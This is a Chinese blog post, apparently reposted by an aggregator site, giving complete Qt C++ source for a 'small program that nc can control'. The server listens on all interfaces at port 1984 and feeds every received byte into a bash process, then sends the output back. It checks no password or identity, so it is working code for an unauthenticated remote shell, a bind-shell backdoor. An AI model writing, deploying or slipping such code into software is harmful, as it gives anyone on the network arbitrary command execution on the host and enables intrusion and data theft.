小程序源代码 下载: https://download.csdn.net/download/nn_84/88846445?spm=1001.2014.3001.5501
请下载 Qt 5.12.12
server.pro :
QT += gui network
CONFIG += c++11 console
CONFIG -= app_bundle
# You can make your code fail to compile if it uses deprecated APIs.
# In order to do so, uncomment the following line.
#DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000 # disables all the APIs deprecated before Qt 6.0.0
SOURCES += \
main.cpp \
mythread.cpp \
server.cpp
# Default rules for deployment.
qnx: target.path = /tmp/$${TARGET}/bin
else: unix:!android: target.path = /opt/$${TARGET}/bin
!isEmpty(target.path): INSTALLS += target
HEADERS += \
mythread.h \
server.h
mythread.h :
#ifndef MYTHREAD_H
#define MYTHREAD_H
#include <QThread>
#include <QTcpSocket>
#include <QDebug>
#include <QProcess>
class myThread : public QThread
{
Q_OBJECT
public:
myThread(qintptr ID,QObject *parent = 0);
qintptr sockethandle;
QTcpSocket *socket;
void run();
QProcess *process;
public slots:
void readyRead();
void disconnected();
void fun();
};
#endif // MYTHREAD_H
server.h :
#ifndef SERVER_H
#define SERVER_H
#include <QTcpServer>
#include "mythread.h"
class Server : public QTcpServer
{
public:
Server();
void startServer();
protected:
void incomingConnection(qintptr handle);
};
#endif // SERVER_H
mythread.cpp :
#include "mythread.h"
myThread::myThread(qintptr ID,QObject *parent):QThread(parent)
{
sockethandle = ID;
process = new QProcess(this);
connect(process,SIGNAL(readyReadStandardOutput()),this,SLOT(fun()));
}
void myThread::run()
{
qDebug() << sockethandle;
socket = new QTcpSocket(this);
socket->setSocketDescriptor(sockethandle);
connect(socket,SIGNAL(readyRead()),this,SLOT(readyRead()));
connect(socket,SIGNAL(disconnected()),this,SLOT(disconnected()));
exec();
}
void myThread::readyRead()
{
QByteArray data = socket->readAll();
qDebug() << data;
process->start("bash");
process->write(data);
}
void myThread::disconnected()
{
socket->deleteLater();
exit(0);
}
void myThread::fun()
{
socket->write(process->readAllStandardOutput().data());
}
server.cpp :文章来源:https://www.toymoban.com/news/detail-831463.html
#include "server.h"
Server::Server()
{
}
void Server::incomingConnection(qintptr handle)
{
myThread *thread = new myThread(handle);
thread->start();
}
void Server::startServer()
{
if(this->listen(QHostAddress::Any,1984)){qDebug() << "Listen ...";}
}
main.cpp :文章来源地址https://www.toymoban.com/news/detail-831463.html
#include <QCoreApplication>
#include "server.h"
int main(int argc, char *argv[])
{
QCoreApplication a(argc, argv);
Server ser;
ser.startServer();
return a.exec();
}
到了这里,关于随手写的小程序2 一个nc能控制的程序的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!